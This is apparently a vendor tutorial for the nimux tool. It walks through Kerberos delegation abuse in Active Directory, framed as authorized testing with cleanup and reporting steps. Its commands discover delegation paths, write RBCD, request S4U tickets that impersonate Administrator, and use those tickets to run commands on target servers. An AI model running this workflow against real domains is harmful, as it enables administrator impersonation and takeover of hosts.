Jul 19, 202621 min read

Delegation and RBCD with nimux

A neutral nimux workflow for constrained delegation, S4U, RBCD discovery, RBCD writes, service ticket requests, and Kerberos-backed validation.

DelegationRBCDS4UKerberos

Overview

Delegation paths are common in multi-service Windows environments. Constrained delegation, protocol transition, and resource-based constrained delegation can allow one principal to obtain service tickets as another principal for specific services.

nimux supports LDAP delegation discovery, RBCD writes, Kerberos S4U requests, ccache handling, and Kerberos-backed remote execution.

Discover delegation paths

Start with LDAP discovery.

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --query constrained \
  --json > constrained.jsonl

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --query rbcd-targets \
  --json > rbcd-targets.jsonl

Collect BloodHound style output if you need graph analysis:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --bloodhound \
  --bloodhound-out bh-delegation

Request a delegated service ticket

If a service account has constrained delegation rights and you have a valid cache for it, request S4U output.

nimux kerberos dc01.corp.local -d corp.local \
  --request s4u \
  --ccache service-account.ccache \
  --user Administrator \
  --service cifs/server01.corp.local \
  --out administrator-cifs-server01.ccache

Use --altservice only when the delegation path and target service justify it:

nimux kerberos dc01.corp.local -d corp.local \
  --request s4u \
  --ccache service-account.ccache \
  --user Administrator \
  --service HTTP/server01.corp.local \
  --altservice cifs/server01.corp.local \
  --out administrator-cifs-server01.ccache

Configure RBCD when authorized

If the operator controls a computer account and has permission to write RBCD on the target computer, use the built-in shortcut and rollback output.

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --set-rbcd \
  --from controlled-computer$ \
  --to target-server$ \
  --rollback-out rbcd-rollback.jsonl

Then request the delegated ticket:

nimux kerberos dc01.corp.local -d corp.local \
  --request rbcd \
  --ccache controlled-computer.ccache \
  --user Administrator \
  --service WSMAN/target-server.corp.local \
  --out administrator-wsman-target.ccache

Validate with Kerberos-backed execution

Use the resulting ccache for a low-impact check:

nimux winrm target-server.corp.local -d corp.local -k \
  --ccache administrator-wsman-target.ccache \
  --cmd whoami

If the proof requires SMB instead, request a CIFS ticket and validate with SMB or file operations:

nimux kerberos dc01.corp.local -d corp.local \
  --request rbcd \
  --ccache controlled-computer.ccache \
  --user Administrator \
  --service cifs/target-server.corp.local \
  --out administrator-cifs-target.ccache

nimux smb target-server.corp.local -d corp.local -k \
  --ccache administrator-cifs-target.ccache \
  --shares

Cleanup

RBCD writes modify msDS-AllowedToActOnBehalfOfOtherIdentity. Remove the change when validation is complete and verify the attribute state.

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --query rbcd-targets \
  --json > rbcd-postcheck.jsonl

Reporting

Delegation findings should name the service account, target service, impersonated principal, ticket type, target host, and rollback status. The finding is the delegation relationship, not just successful command execution.

Install nimux View features Open docs